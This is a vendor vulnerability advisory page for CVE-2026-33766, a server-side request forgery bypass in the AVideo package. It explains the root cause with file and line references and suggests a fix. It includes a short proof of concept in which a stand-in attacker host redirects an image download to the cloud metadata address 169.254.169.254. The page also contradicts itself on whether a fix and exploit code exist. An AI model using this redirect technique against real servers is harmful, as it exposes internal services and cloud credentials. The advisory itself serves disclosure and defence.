How severe is CVE-2026-33766?

No CVSS score has been assigned to CVE-2026-33766 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by CVE-2026-33766?

CVE-2026-33766 affects the following packages: wwbn/avideo (Packagist). Ecosystems affected: Packagist.

How do I fix CVE-2026-33766?

No patched version of wwbn/avideo has shipped for CVE-2026-33766 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

How do I detect CVE-2026-33766 in my Packagist dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate CVE-2026-33766 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against CVE-2026-33766?

O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-33766 can be triaged on real exposure rather than presence alone.

Is CVE-2026-33766 actively exploited in the wild?

No public exploit code has been indexed for CVE-2026-33766 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for CVE-2026-33766?

CVE-2026-33766 has an EPSS (Exploit Prediction Scoring System) score of 0.2%, placing it in the 14th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is CVE-2026-33766?

CVE-2026-33766 is classified as Server-Side Request Forgery (SSRF) (CWE-918). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation. This is a high-impact weakness class that often enables remote code execution or data exposure.

When was CVE-2026-33766 published, and has it been updated?

CVE-2026-33766 was published on March 27, 2026 and was last updated on August 12, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐘 Packagist

Not in CISA KEV

CVE-2026-33766 — wwbn/avideo

Fix: WWBN/AVideo@8b7e9da

CVE-2026-33766 is a Server-Side Request Forgery (SSRF) vulnerability in wwbn/avideo. No vendor fix is recorded yet; mitigation options are listed below.

AVideo has SSRF Protection Bypass via HTTP Redirect in Image Download Endpoints

Also known asGHSA-f359-r3pv-2phf

Published

Mar 27, 2026

Updated

Aug 12, 2026

Affected

1 pkg

Patched

See advisory

Exploits

None indexed

Exploitation data as of Sep 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-33766.

EPSS Exploitation Probability

via FIRST.org ↗

0.2%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs14th percentile — riskier than 14% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected

🐘wwbn/avideo

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

isSSRFSafeURL() validates URLs against private/reserved IP ranges before fetching, but url_get_contents() follows HTTP redirects without re-validating the redirect target. An attacker can bypass SSRF protection by redirecting from a public URL to an internal target.

Root Cause

Check-time: isSSRFSafeURL() at objects/functions.php:4066 resolves the hostname and validates the IP.

Use-time: url_get_contents() at objects/functions.php:1990 calls file_get_contents() with PHP's default follow_location=1 — redirects are followed without re-validation. The wget fallback at line 2047 also follows redirects by default.

Affected endpoint: objects/aVideoEncoderReceiveImage.json.php at lines 67-68, 107-108, 135-136, 160-161:

if (isValidURL($_REQUEST['downloadURL_image']) && isSSRFSafeURL($_REQUEST['downloadURL_image'])) {
    $content = url_get_contents($_REQUEST['downloadURL_image']);

Proof of Concept

Attacker sets up https://attacker.com/redir to respond with 302 Location: http://169.254.169.254/latest/meta-data/
Authenticated user (with upload+edit permissions) triggers image download:

GET /objects/aVideoEncoderReceiveImage.json.php?downloadURL_image=https://attacker.com/redir&...

isSSRFSafeURL() resolves attacker.com → public IP → passes validation
url_get_contents() follows 302 redirect to 169.254.169.254 → SSRF

Impact

Cloud metadata access (AWS IMDSv1, GCP, Azure)
Internal network service access
Bypasses the existing SSRF protection that was added to prevent exactly this class of attack

Note

The curl path in url_get_contents() does NOT set CURLOPT_FOLLOWLOCATION so it is not affected. Only the file_get_contents and wget fallback paths are vulnerable.

Suggested Fix

Set follow_location to 0 in the stream context and handle redirects manually with re-validation, or add isSSRFSafeURL() check inside url_get_contents() after resolving the final URL.

Affected Packages

1 total

Ecosystem	Package	Vulnerable range	Fix
🐘Packagist	`wwbn/avideo`	all versions	No fix

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of wwbn/avideo has shipped for CVE-2026-33766 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-33766 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-33766. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary `isSSRFSafeURL()` validates URLs against private/reserved IP ranges before fetching, but `url_get_contents()` follows HTTP redirects without re-validating the redirect target. An attacker can bypass SSRF protection by redirecting from a public URL to an internal target. ## Root Cause **Check-time:** `isSSRFSafeURL()` at `objects/functions.php:4066` resolves the hostname and validates the IP. **Use-time:** `url_get_contents()` at `objects/functions.php:1990` calls `file_get_contents()` with PHP's default `follow_location=1` — redirects are followed without re-validation. The wget

O3 Security · Impact-Aware SCA

Is CVE-2026-33766 in your dependencies?

O3 Security finds CVE-2026-33766 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

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